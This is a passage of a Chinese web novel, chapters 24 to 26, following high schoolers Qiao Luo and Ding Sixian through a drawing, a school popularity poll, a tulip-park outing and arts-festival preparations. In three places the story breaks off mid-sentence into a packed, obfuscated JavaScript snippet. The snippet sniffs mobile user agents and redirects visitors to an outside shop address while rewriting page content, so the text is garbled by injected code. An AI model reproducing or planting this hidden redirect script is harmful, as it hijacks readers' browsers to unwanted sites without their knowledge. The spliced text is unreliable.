那就翻篇吧,翻到下一篇,万一下一篇就是大圆满了呢。 24. 慕强 后来那张答应了丁似霰却拖了许久的肖像画,乔洛是在一周后给他的。 确实是一张背影,也确实就是当初那张,当时乔洛是真的在画草稿的线条,顺手误导一下王琪琪而已。 是他跳起来扣球的样子,乔洛还画出了他有些上窜而掀起的卫衣的形态,然后露了短短一小段腰。 很短很短一小段,在画上或许只有一两毫米,不仔细看根本看不出来。 但是丁似霰发现了。 自那之后他每次都正对着乔洛打球——他似乎还着重练了腹肌,反正更明显了。 这家伙多少有点在施展媚术。 可惜乔洛基本不会抬头,她多数就是在看台上和杨可期偷偷讲什么小话,又或是直接把臭白和小花以及它们的小崽子们领出窝晒太阳,总之丁似霰魅惑行动失败。 大概吧,乔洛真的是出于写实主义,才那样画的。 一到六班一直在一起上体育课,免不了还是会看见三班的人。 冯鑫依旧一副热爱学习的样子,总是拿着什么书,找个地方就开始背。 然后也还是会有女孩子被他吸引去,在他旁边光明正大的看着他。 乔洛不太理解,这人到底有什么可看的,没有丁似霰活泼,比丁似霰矮了有五六厘米,成天抱着本书,回回考试还不如初中名次靠前。 她是从初中才意识到人和人之间智商真的有差距的,但洛洛是个比较良善的,她从来不会用这点去调侃别人。 冯鑫除外,因为乔洛记仇。 有一次在食堂吃晚饭的时候提起来这件事情,乔洛还一脸不屑,“他现在连装都不装了,估计是真学不会了。” “啊?他以前还装作在学校不学习?”丁似霰很惊讶。 他和许志对这个名字多少也有点印象,毕竟冯鑫曾经也进过新柳县的前五名。 “初中的时候洛洛自习课睡觉,他就也往桌子上一趴,洛洛不写作业他就也不写,结果被老师发现书包里还有一份复印的练习册,写得满满乎乎的。”杨可期对冯鑫是真的无语,她就没见过这么有病的生物。 当然,杨可期对于冯鑫光辉事迹的了解也是通过乔洛。 乔洛聊起这个,突然兴致大发,随便吃了几口那碗难吃的打卤面,就快速结束了晚餐,然后讲起过往。 “他之前确实是很诚恳地问过我到底怎么学习,大概初二下学期刚开学吧,他考了好几次试结果都考不过我之后,来我这虚心求教了,当时吭哧瘪肚的,憋了半天才开口问我,就好像得下多大决心一样。 但我当时真的,因为本来作业就很多,我班主任还要每科多留一本练习册,根本写不完!我当时初二上学期基本天天都在一边暴食一边抄作业,然后我半个学期胖了二十五斤。” 说到这里乔洛注意到了两个男孩惊讶的眼神,很显然,他们对于二十五斤没什么概念。 “嗯……首先声明我只是在说我自己,没有任何攻击他人的意思! 一米四五,一百二十几斤,知道什么概念吗,我感觉和正方形其实区别不大了,而且那个时候还没发育,上下一边粗,就是一口短粗胖然后下边劈了叉的地缸。” 不该笑的,但是乔洛这个形容真的让人很想笑,丁似霰和许志憋笑憋得很艰辛。 丁似霰的声音都在发颤,带着浓烈的笑意,“不至于不至于,小孩胖乎一点挺可爱的,你看年画娃娃不都很圆润嘛,看着有福相。” “谢谢你哦,那还真是可惜,你这辈子都很难有这种福气满满的体验了,”乔洛继续讲道,“所以我那段时间我就在很认真的减肥,天天晚上去公园跑步锻炼去,我还在那天天跳绳企图长高点,哪有时间写什么作业。 我就很老实地跟冯鑫说实话了,他信没信我不知道,反正那段时间在学校我干什么他干什么,结果后来又说我骗他……我可什么时候扒瞎了,他自己脑子不好难道怪我? 我当初没给他录下来真算我失策,他自己亲口说的他天天很努力地学习,结果还是没有我成绩好,来跟我请教学习方法。” “我感觉他对你应该算是慕强之后变成嫉妒了吧?”杨可期对此也表示不理解。 乔洛很夸张地哆嗦了一下,“太恐怖了,我不想当强,可别有人慕我了。” 丁似霰听此不免心中一惊,他对号入座了,不管怎么说,他最先关注到乔洛的原因,也一定会归类为,慕强。 然后他又很快在脑海里逻辑自洽了,他不会对乔洛转变成嫉妒,他希望乔洛一直优秀下去,在她自己的世界里感到优秀,就足够。 “那你是什么时候跳级的呀?”许志也很好奇,乔洛这个比他小了一岁半的小朋友是怎么跳上来的。 新柳有一个私立学校,那初中每年都要小升初考试,取前二十名给予免除三年学费,二十一到五十名免除一年学费的奖励,杨可期那个暑假就要升初中了,她非要拉着乔洛一起去考试玩一玩——因为她们其实都不打算去私立中学,所以只是玩一玩。 结果杨可期二十一名,乔洛五十一名。 然后,乔洛就决定直接跳级了。 讲完过程,杨可期又加了一句,“那是我至今为止唯一一次排名在洛洛前面。” “我去……”许志第一次真切地意识到这两个女孩到底有多厉害,如果不是丁似霰在初中的时候非压着他一起学习,可能许志现在真的已经在职高了——他之前一直想早点出去工作来着,早些挣钱,或许爷爷奶奶的负担会轻一些。 但感觉丁似霰说的也没错,读个大学说不能能赚更多。 “哪里,你上次月考在我前两名,”乔洛道,“上学期好像哪次你总排也在我前面来着。” “您自己看看您那个卷纸,认真写了吗?”杨可期不禁翻了个白眼,如果乔洛没放水,怎么可能跟她和丁似霰名次基本差不多。 “你学过六年级的知识?”许志问道。 “没,但是在我妈办公室里看到过学生发剩下的初一数学卷纸,可能被他们收起来当废纸准备卖吧,我当时无聊,拿来做过。 私立高中的小升初考试只考数学、语文还有英语,可能我数学分比较高吧,反正没有公布单科分数,我也不太清楚。” 什么正常人无聊了做数学卷啊?乔洛这番话更刷新了丁似霰和许志的认知。 不过辉煌都是过往了,乔洛现在就算认真地考,也只能考到新材高中三十几名,高中的知识和小学初中自然不一样,就她这种学习态度而言,如今的名次已经是奇迹了。 其实还有一条乔洛没有说的原因,她谁都没有说过,包括杨可期和云锦书,都不知道。 四年级的时候,乔连富出轨,云锦书和他离了婚。班里统计单亲家庭的时候不知道是谁偷看了老师办公室的统计表,也不知道是谁听到过一点关于乔连富的风流事,于是编出了很多奇怪的话在班里传来传去。乔洛感觉听多了会很烦,再加上换一届上初中,当初以为会避开这些事,种种因素下,她才跳了级。 小县城有一点不好,就是太小了,小到新材高中这一个学校就聚集了新柳所有还算不错的学生。然后就有很多曾经没见过,但是耳熟能详的人聚在了一起。 冯鑫算一个,金锐邬是另一个。 金锐邬从前也是个风云人物,从小学到初中成绩都不错,人也一直文绉绉的。 乔洛联排第一名那次,金锐邬排第二。 当初有不少人为金锐邬打抱不平,就好像是乔洛抢了他的位置。 但丁似霰不喜欢这人,他和金锐邬在一所初中。 初中军训,当时分队列的时候正好丁似霰和金锐邬在一个方阵,还好死不死一个组,教官让去搬东西的时候他那是一手不伸啊,美名其曰“我的手是用来写题的,搬不动这些东西,万一伤了手腕会影响我学习”。 天知道金锐邬后来转去伤病连的时候丁似霰有多开心。 金锐邬在六班,如今也是抬头不见低头见,果然还是冤家的路更窄一些。 前几天在贴吧上有一个新材高中2006级校草评选的活动。 丁似霰,冯鑫,金锐邬三个人票数断层领先,目前还很难猜到谁会是第一,不过丁似霰比他们俩票数要低一些。 另外那两个人过于文静,走到哪里都抱着本书,被投上去的照片也是耷拉个脑袋坐在某个地方看书。 冯鑫一个文科生就算了,也不知道金锐邬整天在哪里背些什么,指望着写一个解字然后就开始乱写公式企图得分吗? 这可不是对热爱学习的学生有歧视,这是丁似霰原话,他是对金锐邬有歧视。 但确实,相比较来说,丁似霰比那两个人少了一些温润如玉的公子气,他出了教室,天天不是跟在乔洛身后到处转,就是拿着羽毛球拍大杀四方。就算有女孩子跟他说话他也就礼貌回一句,然后就找借口开溜,联系方式打死不给。 这也就导致了冯鑫和金锐邬都有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908916|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些比较静态的,美好的照片在那个链接里。 而丁似霰,只有一张大大咧咧坐在台阶上缠手胶的照片,他当时嘴里还叼着乔洛塞给他的棒棒糖——去超市给小狗买羊奶,为了凑整随手拿的棒棒糖。 不知道是哪个小姑娘偷拍的,如果知道这棒棒糖的来历,估计也已经心碎了吧。 乔洛终于有一些看不下去了,把家里的相机充好电,带去了学校——给丁似霰拍照! 她倒是没怎么给别人拍过照片,但是画画不错的人构图通常都不错,再加上模特底子够硬,怎么拍都不会太丑。 乔洛没有提前和丁似霰说,所以他出镜时穿的衣服就是秋季校服裤子和夏季校服短袖。 虽然说佛靠衣装马靠鞍,但是只要人身形比较好,哪怕丁似霰有些扬了二正的,似乎这校服看起来也不丑。 当然,新材高中的校服已经很良心了,至少秋季外套都是运动服的材料,夏季校服短袖也不会太透,只是夏季的裤子很容易起静电,所以大家都不太喜欢穿。 校草评选这个事情,在亲眼看到乔洛给他投了票之后,丁似霰就不太感兴趣了。第一不重要,洛洛认为他是他就是。 但!乔洛当摄影师专门拍丁似霰,这件事情,很重要! 丁似霰可谓是孔雀开屏,每一球都打得贼卖力,李栎昂已经无数次想撂挑子不干了,只可惜禁不住诱惑——丁似霰这个人球技是真的很不错,能和他打球还是很令人向往的。 或许是为了安抚,乔洛还顺带着给李栎昂也拍了几张。 翻照片的时候乔洛不禁感叹,太有生命力了。 乔洛最满意的一张,她将其起名为“在空中”。 照片上的少年奋力一跃,高挥着球拍,原本蓬松的头发沾了些许汗液,随着他的动作微微扬起……哦,扬起的还有短袖上衣。 小丁同学的腹肌终于让乔洛注意到了,也算是没白练啊! 他胳膊上还有一道很明显的疤痕,是那道烫伤。与手臂的肌肉线条和青筋组合在一起……而且他还很白……结合上当时恰到好处的阳光…… 嘶,乔洛形容不出来那种感觉,但确实有一瞬间,她想把这个照片藏起来,不给别人看。 但转念一想,这家伙天天在外面晃悠,这么招摇,这照片也不是什么稀奇东西。 还有一张,丁似霰让她禁止外传。 纯纯是摆拍:丁似霰左手拿着羽毛球拍,很随意地把它扛在肩上,右手拿着鲜橙汁,对着镜头……其实是对着镜头后面的乔洛,笑得很是灿烂。 好一个唇红齿白的俊俏少年郎,笑容热烈又赤诚。 后来那个评选丁似霰是第四,在投票结束的前一天,十一班那个只有一米五几的小伙子被损友们刷票刷到了第一,一骑绝尘的票数无人能撼动。 但确实,毕竟除了外形和成绩,丁似霰确实在很多人看来,比不上那两个。 单单就他成天跟着乔洛这一点,就足以击退不少女孩对他兴趣了。 不过丁似霰不在乎。 是不是校草不重要,这幅皮囊能偶尔得到乔洛的夸奖就足够了。 至于慕强那个问题? 他就是慕强怎么了! 乔洛确实聪明又善良,还心灵手巧,这么优秀的女孩子就应该被仰慕! 丁似霰想通这个事情并没有花太久时间,或许是因为他一直很清楚,他是想走在乔洛身边,而不是超过她,也不是利用。 更何况乔洛很有能力,她完全可以解决身边发生的事情,哪怕方法有些极端。 丁似霰事后知道乔洛当初的打算,有些后悔,或许他不挡住王琪琪那一拳,乔洛就不会卸自己一条胳膊了。 但那一拳是使足了力气奔着乔洛的胸部打下去的。 打在后背上都很疼,他不敢想如果打在乔洛身上会怎么样。 女孩子在这个世界上生存总是会更困难一些,越优秀越容易遭受到更多的磨难——不止要面对常见的嫉妒,还要面对男人。 男人会感觉掌控不住这些优秀的女性,但是介于最原始的兽性,他们多数会想靠近并且征服,然后获取成就感。 但这个问题,更是雄性地球猿猴们的错。 慕强可以是欣赏也可以是向往,或者当成目标想要超越,但绝对不是想把“强”毁掉。 丁似霰在心里暗下决心,以后就在乔洛身边当她的带刀侍卫,冯鑫那种东西,来一个刀一个,鲨鲨鲨! 25. 郁金香 五月,正是踏春的好时间——当然,这里特指的是北部地区。 通常来讲劳动节的时候,新柳已经很少刮风了,温度也在二十度上下,阳光刚好。 有一天晚饭,许志不知从哪里搞来了奉州世博园的宣传单。 从四月中旬开始,奉州的世博园中就相继有各种各样的花海盛开。 距离劳动节还有一周的时间,这段日子正是郁金香的主场。 “下周放假去看郁金香怎么样?”丁似霰问道。 “郁金香有……”乔洛下意识想拒绝,郁金香有什么可看的,还不如在家睡觉。 但她的大脑终于抢先在嘴之前运行了——这三个人似乎都很感兴趣,仅仅是在问她的意愿。 “……有很多吗?”她很生硬的,转了话锋。 三个人齐刷刷地对着她点了点头。 “那就去呗!”乔洛还是做了最后的挣扎,“能不能去赶下午场?” 她想睡个懒觉,去下午场的话就可以睡到十点再起了。 没有人想假期还那么早起床,这个“提案”全票通过。 “要不二十九号放学咱就走呢?”杨可期突然想到,这种长假,新材高中向来都会提前半天放假的。 乔洛第一反应是,那不得困死? 新柳去奉州的火车要四五十分钟,奉州车站再到世博园还要坐一个小时的大巴……想到这里乔洛多少有些头疼,一个小时大巴,很难想象她会晕车晕成什么鬼样子。 但如果很困的话就另当别论了,上车就睡,睡醒了就到世博园,似乎也不错。 乔洛的小脑袋瓜转得飞快,“我投支持票。” 好像那三个人单纯是在等乔洛的认可,只要乔洛同意,他们仨没有任何意见。 整场旅行愉快又顺利——除了坐在大巴车上之后,丁似霰才知道乔洛严重晕车而带来的懊悔之情难以磨灭外。 不过好在乔洛确实很困,从坐到大巴车里面开始,就拽着杨可期的胳膊,然后拿她肩膀当枕头开始呼呼大睡。 还是司机师傅一脚猛刹车把她甩醒了。 车站直通世博园的这趟大巴叫“雷锋号”。 这个司机师傅真的把雷锋精神贯彻得十分彻底,开得慢慢悠悠,有车抢路必让一步,足足开了一个半小时还没有到世博园。 乔洛醒来后就推开了车窗,急切地呼吸了一口新鲜空气。 啊,下午两点的阳光,好刺眼! 她隔着杨可期和许志,再加上一个过道,用肢体语言指挥丁似霰稍微侧过去一点坐着——遮阳。 那人好像一直在看向她这边,她都没有说话,只一抬手,丁似霰就听话地侧过身,挡住了大部分的阳光。 来奉州之前除了乔洛,那三个人都吃了午饭。 她非常坚定地拒绝了午饭,因为如果晕车严重了会恶心会吐,她可不想游玩未半中道崩殂去给大巴车洗坐垫。 所以刚进园区,乔洛就被强制要求买了些小吃垫肚子。 可能是因为劳动节假期明天才开始,今天世博园内并没有很多人。 他们租了一辆四人自行车,两个小伙子在前排当苦力,乔洛和杨可期坐在后面喝着饮料看景。 乔洛吸了一大口冰镇橙汁,心满意足道,“还真别说,要是旅游都这么惬意的话出来玩玩也不错。” “是挺好,就是有点废前面那俩。”杨可期也很认可。 丁似霰笑嘻嘻扭过头,“给两位美丽的小姐当车夫是我们的荣幸。” “小费一会多给点啊!”许志也一样任劳任怨……吧。 其实看郁金香只是个幌子,这四个人根本就没那么喜欢看景,纯粹就是想出来玩。他们甚至只是骑着车在郁金香花海外面转了一圈,就拐弯去到游乐园那片区域了。 乔洛和杨可期对于游乐场的喜爱相差甚远。 杨可期流连在过山车、跳楼机以及海盗船和大摆锤这类刺激项目里,而乔洛更喜欢除了这些刺激项目以外的所有…… 但是杨可期愿意陪乔洛去体能馆爬坡,也可以和她开碰碰车对撞。 乔洛也会一咬牙陪杨可期坐一次过山车,然后全程双眼紧闭死攥着扶手。 这次有许志这个可以给杨可期当陪玩的新成员加入,简直是对乔洛的救赎。 乔洛和丁似霰坐在“迪斯科大转盘”上时,隔壁的跳楼机刚刚启动,尖叫声此起彼伏。 “你说,会不会其中有一个是许志的尖叫声?”乔洛饶有兴趣——只要不让她自己上,她还是很愿意看别人玩这种东西的。 “可……”丁似霰刚说出一个字,转盘就启动了。 他一下没抓稳,直直栽进了乔洛怀里。 “……可能吧。”许志有没有尖叫丁似霰不清楚,但是他要呐喊了。 丁似霰再瘦,也是一百多斤的物体……突然之间直接栽过来,乔洛也抓不稳,两个人很快就脱离了圆盘边缘的座位,和其他人一样不受控制地在圆盘中间死亡翻滚。 “啊!”乔洛的发尾不知道被哪个乱窜的小孩踩了一脚。 还是丁似霰先抓住了栏杆,然后把乔洛一把捞了起来。 没办法,每次都很狼狈,但乔洛还是很喜欢这个游戏。 喜欢到直接没有下去,又玩了一次——人少不用排队,真的很爽。 这次丁似霰在启动前死死抓着扶手。 刚刚栽进乔洛怀里那一下,太突然了,也太紧密了。 丁似霰甚至感觉到其实那一瞬间,乔洛的唇瓣擦着他的耳朵一闪而过。 她嘴唇有点起皮,刮到耳朵,有点痒。 他从圆盘上走下来时,脸上还带着一些难以隐藏的红晕。 乔洛没有多想,还以为他是因为下一站要去鬼屋,有些恐慌。 “要不要拽着我走呀?”鬼屋门口,乔洛有些打趣地问丁似霰。 他脸更红了,还有一些结巴,“不,不用。” 这种游乐场的鬼屋也就能吓一吓小孩子,时隔多年再去体验一番,倒也发现不过如此。 乔洛还去和披头散发的女鬼握了一下手,结果发现那硅胶假手或许是做工不精,诡异地翘着兰花指。 不对,不是兰花指,那个状态更像是脑血栓后遗症,出鬼屋之后乔洛还一比一复刻给丁似霰看来着。 游乐场里有一片休息区是那种高低错落的小树屋,乔洛很喜欢这里。 傍晚,乔洛拿着一桶铁板鱿鱼和一把烤豆皮,丁似霰拎着一杯西瓜汁一杯葡萄汁,两个人爬上了最高的那个树屋。 先简单吃点东西,等会出了园区,去火车站附近那家牛肉面馆。据丁似霰说,那家牛肉面馆味道特别好,用的牛肉卤子都是每天用高压锅现炖的,软烂松散十分入味。 刚刚这两个人遇见了杨可期和许志,然后把乔洛和丁似霰的票给他们俩换了一下,杨女侠此时应该已经把许志拽上了海盗船。 因为世博园是那种通票,一张门票里面包含了这些游乐设施,但是每种只能玩两次,所以乔洛非常大方地把自己的票换给了杨可期。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908917|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>丁似霰当然是洛洛指哪他打哪,他挪开了眼,没有看许志那一副想刀了他的眼神。 太阳正在以缓慢的速度落山,余晖照在不远处的郁金香花海上,金灿灿的。 树屋很高,坐在这里能看到很多不一样的景色。 就比如乔洛这才注意到,那片郁金香用不同的花色拼成了“奉州”两个大字。 “哇,安上坐标轴就能出一道大题了。”她用签子扎了一大口鱿鱼送进嘴里,这东西还是铁板的最好吃,就是为了丁似霰不被辣死,只要了微辣,稍微差那么一点味道。 丁似霰坐在她身旁,但目光并不在郁金香身上,“老沈知道了会笑死的吧,你出来玩还这么惦记数学题。” “惦记归惦记,作业我是不会写的。” 一周的假期,最少的一科都留了四套卷纸六页练习册,都做完了那是真的没什么假期了。 “好巧,我估计也不会写全。” 好巧,返校之后四五班外面站了一排抽查作业被抓到没有完成的,其中竟然没有这两个家伙。 说好的不想写作业,结果在假期最后一天四个人聚在一起,有答案的抄答案,没答案的分工做,水性笔抡得飞快。 乔洛竟然二十分钟写完了一篇八百字作文,这速度太令人泪目了。 起因还是乔洛莫名其妙做了个梦,梦里因为没写作业被逮到走廊里面罚站。 他们仨说乔洛是神棍,做了一个梦,救了四个人的命——因为许志他们班也检查作业了,没完成的奖励双倍卷纸,比罚站更恐怖。 在学校的日子每天就是上课、睡觉、吃饭、写作业。 哦对,还有考试,第一次月考加上期中考试,这几个人成绩倒是很稳定,乔洛又把自己控制在六十名左右的位置,杨可期和丁似霰本来就是五六十名的水平,这三个人每次总分相差都不到十分,许志稳稳当当在七班做着他的老大,期中考试的时候甚至比他们班二号多出了十三分。 还有上间操。 跑操的时候四五班离得很近,乔洛最初是在四班倒数第三排,丁似霰在五班排头。 跑着跑着,乔洛就换到了最后一排。 不知道为什么想就是想换过来。乔洛给自己逻辑自洽的理由是,当了太多年排尾,习惯了。 今年的儿童节是周五,那周末正好休息,乔洛索性请了一天假,给自己放了一个儿童节小长假。 白天云锦书要上班,乔洛的过节也就是自己在家呼呼大睡。晚饭的时候去吃了她期盼已久的麻辣涮串,爽! 晚自习下课后,乔洛又被留守在学校的三个人架去了烧烤摊,他们还弄了一个八寸小蛋糕,美名其曰给乔洛这个十四岁的孩子过儿童节。 明明爱吃蛋糕的不是乔洛! 但是用奶油糊别人脸真的还是一个不错的游戏。 或许是看到这四个孩子玩闹间也没有把包厢弄脏,烧烤店老板还好心的给他们四个合了照。 丁老板大手一挥十分阔绰,请老板帮忙拍四张,一人一张留作纪念。 照片里的家伙们根本看不清人脸,都是白茫茫一片,然后像扣洞洞一样扣出了两只眼睛一个鼻子一张嘴。 乔洛突然决定,明年不请假了,在学校似乎也不错。 这还是她第一次,对学校这个地方产生一些向往的情感。 她渐渐发现,和这三个人一起出去玩,又或者是在哪学习,要比在家睡觉更开心。 那句没说出口的“郁金香有什么可看的”,似乎改变了很多事情。 26. 艺术节 要说新材高中的学生下学期最大的盼头是什么,那估计大多会是艺术节。 每年七月中下旬,新材高中都会办一场艺术节。 那一天的白天是高三学生的毕业典礼,也是高一学生在这个校园里以高一新生的身份上的最后半天课。 晚上艺术节结束,高一的暑假生活就开始了。 对于高二的学生而言这只是一场短暂的狂欢——因为他们还要继续在学校上一周课才会放暑假。 这场艺术节对于学生们来讲,无疑是盛大且令人期待的。 六月初的时候就开始节目报名,学校拉长了战线,为了让学生们排练时间相对充足,不至于因为短期紧促的排练而耽误学习。 杨可期被班里的女孩们邀请一起排一个舞蹈节目,她曾经学过一段时间的中国舞——舞蹈教室就在少年宫散打教室的隔壁。 当初杨可期和乔洛总是一个去舞馆,另一个也去武馆,基本都是同进同出少年宫的大门。 乔洛没有节目,但也甚是繁忙。 新材高中并没有专门的主持团,这种活动的音响、主持等工作都分给了广播站,而乔洛基本已经被定为广播站下一届站长了,自然会忙起来。 单单是找主持人这件事情,就很烦。 主持人要从高一的学生出,因为每次联排,节目可以请假,但是主持人必须次次到场。相比较来说高一学业还不太繁忙,更适合一些。 乔洛第一次感觉,两男两女是这么难寻找。 最后一个女主持人的名额迟迟没有人报名,后来在开会的时候,众人一致怂恿乔洛,让她自己上台当主持人。 乔洛拒绝得非常果断。 有一个男主持人,是金锐邬。乔洛一点想跟他站在一个台子上,她都能想象出来丁似霰看到那一幕的时候得抑郁成什么样。 没想到她想错了。丁似霰不知道从哪听说的乔洛拒绝当主持人的事,还特地跑到四班,跟着一起怂恿她让她试一试。 乔洛欲言又止,这家伙是不是不知道还有金锐邬的事情? “我保证你的照片里不会出现六班那小子。”丁似霰说这话的时候,很真诚的看着乔洛,还眨巴了几下眼睛,看起来很纯天然无公害。 看来他知道。 “我……”乔洛犹豫的点当然不止那一个男人。 她上一次在很多人面前演讲,还是小学那次。高中这一年以来都是在广播室的设备后面躲着,不用面对任何人。 而且主持和播稿子,还是有一定区别的。 说不害怕那肯定是假的,但她也不想承认自己害怕。 “我试试吧。” 鬼使神差的,她应了。 主持人串场的时候分两组,乔洛和十一班的刘熙一组,金锐邬与二班的姜亦瑶一组,这是乔洛提出唯一的要求。 从初审开始,广播站站长会一直参与审核,站长预备役也一样。 嚯,养眼! 乔洛看了小半天美女唱歌跳舞,感觉有些理解昏君了。 杨可期她们排的是街舞,这和杨可期曾经的舞蹈风格相差甚远,还好这种学校的艺术节就是一堆草台班子,临时练一练也还看得过去。 她跳舞的时候乔洛选择悄悄移开了视线,防止她们两个对上眼就憋不住笑。 虽然早就知道七班要排《雷雨》的舞台剧,也知道许志演周朴园,但真的看到的时候还是很震撼的。 主要也是很想笑。 就不该跟他们混这么熟的。 还好丁似霰没节目,不然乔洛不敢抬眼的节目就又多了一个。 初审是唯一一次有淘汰的审核,刷掉了三分之一的节目,街舞和《雷雨》都活下来了。 新柳的天气在六月中旬开始才真的有一些热,高考之后,上午的大课间就从跑操变成了去操场活动,跳大绳,打球,或者坐在那晒晒太阳都可以,反正就是不允许在教室闷着。 多数有节目的人,这个时候会在排练。 乔洛一般都是找一个地方坐着,一边背背稿子,一边看杨可期跳舞,偶尔给姑娘们当当摄影师帮她们拍视频,让她们看看还有哪里需要改进。 哦,不止是姑娘,十八班的节目,领舞是个小伙子,跳的是机械舞。 乔洛不太懂欣赏这些舞蹈,反正就是感觉跳得很有趣,多看了几眼。 就这几眼,被丁似霰捕捉到了。 那人直接原地放了球搭子的鸽子,拎着拍就跳到乔洛身边,“你喜欢这种?” “嗯?”乔洛其实只是在发呆,被突然冒出来的丁似霰吓了一跳。 他眯起眼睛,企图在热烈的阳光下看清十八班的人,“我倒还真……不会跳舞。” 乔洛“噗嗤”笑了出来,她实在很难想象丁似霰跳舞什么样,初审的时候看到过赶鸭子上架肢体极其不协调的人,场面太壮观了。 丁似霰手长腿长的倒是适合跳舞,不过这人协调但僵硬,如果匹配上那些舞蹈…… “哈哈哈哈哈哈哈哈哈哈哈哈……”乔洛好像脑补出了那神奇的一幕,难以抑制地捂着脸爆笑。 丁似霰皱起眉,“你怎么笑成这样?” “没……没事,哈哈哈哈,就是想不出来你跳舞啥样,会不会跟茧蛹子差不多哈哈哈哈哈哈……” 茧蛹,一种和橄榄球形状大致相同,但每只仅有几厘米长的虫子。如果去碰一下活着的茧蛹,它大概率会摇一摇它尖尖的头,活跃一点的可以用摇头晃脑来形容。 用这个来比喻,还是让人有点无语的。 丁似霰稍微沉默了一会。 在乔洛以为他不太喜欢这个比喻,刚刚想开口道个歉的时候,这家伙把头伸了过来。 乔洛没明白丁似霰要她做什么,“嗯?” “你拍拍。”他语气倒是很欢快,听不出来生气。 乔洛轻轻拍了一下丁似霰的脑壳。 丁似霰把上半身以波浪状态摇了一下。 …… 乔洛马上就意识到了,丁似霰在学茧蛹。 “这才是茧蛹蠕动,我跳舞肯定不是这样,虽然我不会跳。”他直起身,看着乔洛,眼睛亮晶晶的。 乔洛憋着笑,又拍了一下他的头,“再动动?” 一只灵活的茧蛹子就这样又摇了起来。 “哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈……” 第二次审核是在六月末,具体敲定每个节目的时长以及……确定这个节目是积极向上不和黄赌毒等事情有牵扯的。 审核只在下午最后一节自习和晚饭时间进行,所以接连五天乔洛都兢兢业业努力工作。 每天审核教室外面都有一只大茧蛹在等她戳一戳,摇摇头。 还是很有趣的,比这些节目还让人期待。 七月二十日,高一下学期期末考试结束了,学生们有一天的假期,周日就要返校开始补课,高一补一周,高二两周。 乔洛这一天的假期,被征用去试礼服了。 好热的天啊,三十几度的天气还要出门就已经很灾难了,还要在租服装的地方来回试礼服,就算风扇和空调都在吹,也真的很难熬。 姜亦瑶好像不知道热一样,已经在试第六套礼服了。 乔洛在大厅正对着风扇狂吹,如果不让自己凉下来一点,她有点想爆粗口。 乔洛无聊到在手机上玩推箱子,刚通过第七关,就看到了丁似霰的短信。 ——礼服选好了吗? ——没,我就试了一套,但我在等姜,她换了好几件,我准备等她确定下来再选,毕竟颜色得适配。 ——你们在哪家店呢? ——中街这个“花样年华”。 ——柠檬水还是冰橙汁? 哇,小丁同学要来探监了!乔洛突然来了精神。 她真的有一种在这里继续和这三个人待下去要疯了的感觉,姜亦瑶试一件就要问她好不好看,她就说好看。 穿起来也没什么太大区别啊,确实都挺漂亮的,乔洛不懂姜亦瑶到底在纠结什么。 那两个男的也不怎么说话,他们西装款式本来就不多,早早就试好了,如今倒也是在乔洛对面的沙发上坐着发呆。 ——冰橙汁,只许有我的。 乔洛又加了一句。 ——哦,帮我给刘熙也带一杯吧,这哥们相处起来感觉还可以。 ——算了,再弄杯西瓜汁吧,姜亦瑶试了这么多衣服,我看着她都热。 说白了就是不给金锐邬带!丁似霰记不记仇不知道,乔洛很记仇。她在知道了金锐邬的恶行之后就对这个人充满了敌意。 因为丁似霰已经被乔洛划到了“自己人”的领地范围,欺负她的人,就都是坏蛋。 ——遵命! 约摸只有十五分钟左右,在姜亦瑶正在换第八套礼服的时候,丁似霰骑着小电驴载着饮料赶到了服装店。 乔洛不太想离开风扇,所以并没有出门迎接他,只是在沙发上接过丁似霰递来的饮料,然后重重的点头感谢,“好人一生平安!” 丁似霰把手里另一杯冰橙汁递给了刘熙,“乔洛送的。” 金锐邬在刘熙发出“谢谢谢谢”的声音时,微微有些尴尬。 他又不是脑瘫,初中军训的时候和丁似霰那些事情是他故意的,他只是当初愚蠢的感觉这是理所应当。 过了这么些年,多多少少人也成长了一点,但对于这种没什么交集的人,自是不会旧事重提去道歉了。 姜亦瑶提着裙摆走出试衣间时,丁似霰正坐在乔洛身边,拿着扇子给她扇风。 那扇子上两面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908918|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都写着字,一面是“贪财好色”,另一面是“沉鱼落雁”。乔洛说这是她人生两大追求,所以自己题字做了把扇子。 可这个心如死灰坐在沙发上,穿着极其肥大的白色短袖和浅蓝色阔腿裤的姑娘,实在看不出来对沉鱼落雁的渴望。 姜亦瑶看见丁似霰的时候愣了一下。 她高一上学期就企图和丁似霰搭过话,那还是九月中旬社团招新的时候。 所有社团报名都是在体育馆一楼的空场里,当时丁似霰已经填好了羽毛球社团的报名表,本应该离开,却在广播站那片区域的边缘寻找着什么。 